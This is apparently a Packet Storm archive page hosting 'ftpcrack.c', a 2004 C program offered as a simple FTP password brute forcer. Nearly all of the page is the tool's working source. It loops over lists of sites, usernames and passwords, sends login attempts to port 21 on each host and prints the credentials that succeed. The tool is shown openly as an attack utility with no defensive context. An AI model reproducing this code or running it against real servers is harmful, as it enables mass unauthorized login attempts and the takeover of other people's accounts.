exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ftpcrack.c

ftpcrack.c
Posted Sep 23, 2004
Authored by X1ngBox

Simple FTP password brute force cracker.

tags | cracker
SHA-256 | b9af2882fd7e019abaaaf9364d8200c1360309203051ee1d723ab371673fe7a3

ftpcrack.c

Change Mirror Download
/*----------------start H3Re----------------*/
/*
THIS is A simple FTP password Brute Forcer
Usage ./ftpcracker.c <site_list> <user_list> <password_list>
compile gcc ftpcracker.c -o ftpcracker
coded BY x1ng <x_1n@hotmail.com
Gretzz to:<NULL>
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
int main(int argc,char **argv)
{

struct sockaddr_in server;
struct hostent *hp;
int sok;
FILE *input;
FILE *output;
FILE *usrlist;
FILE *passlist;
char buffer[1024];
char site[100];
char user[100];
char pass[100];
char suser[100];
char spass[100];

if (argc !=4)
{
system("clear");
printf(" Ftp PassWord Brute Forcer BY <x1ng> \n");
printf("\n x_1n@hotmail.com\n ");
printf("\nusage: %s <sites_list> <user_list> <pass_list> \n",argv[0]);
exit(0);
}
input=fopen(argv[1],"r");
if(input==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[1]);
exit(0);
}


usrlist=fopen(argv[2],"r");
if(usrlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[2]);
exit(0);
}
passlist=fopen(argv[3],"r");
if(passlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[3]);
exit(0);
}
success:
while(!feof(input))
{

printf("\n++++++++++++++++++++++++++++++\n");
fscanf(input,"%s",site);
printf("%s",site);
printf("\n++++++++++++++++++++++++++++++\n");
if ((hp=gethostbyname(site))==NULL)
{
printf("\nCan't Resolve HostName\n");
goto success;
}
if((sok=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Error Opeining Socket\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons (21);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);
if(connect(sok, (struct sockaddr *) &server, sizeof (struct sockaddr)) ==
-1)
{
printf ("Connection refused\n");
goto success;
}

while(!feof(usrlist))
{
fscanf(usrlist,"%s",user);
printf("%s",user);
printf("\n");
sprintf (suser, "user %s\r\n",user);
passlist=fopen(argv[3],"r");
signal (13, SIG_IGN);
while(!feof(passlist))
{
fscanf(passlist,"%s",pass);
printf("Now Trying user:%s pass:%s for <%s>\n",user,pass,site);
sprintf (spass, "pass %s\r\n",pass);
send (sok,suser,strlen(suser), 0);
//sleep(1);
send (sok,spass,strlen(spass), 0);
sleep(1);
recv(sok,buffer, sizeof(buffer),0);
if (strstr(buffer,"230")!=NULL)
{
system("clear");

printf("============================================================================");
printf("\ncorrect <Co0o0l> username:%s password:%s for
<%s>\n",user,pass,site);

printf("============================================================================");
fclose(usrlist);
usrlist=fopen(argv[2],"r");
fclose(passlist);
passlist=fopen(argv[3],"r");
close(sok);
goto success;
}
else
printf("incorrect password\n");

}
}
}
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");
printf("\n I Am F1n35hed Cr4ck1ng
+\n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
exit(0);

}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close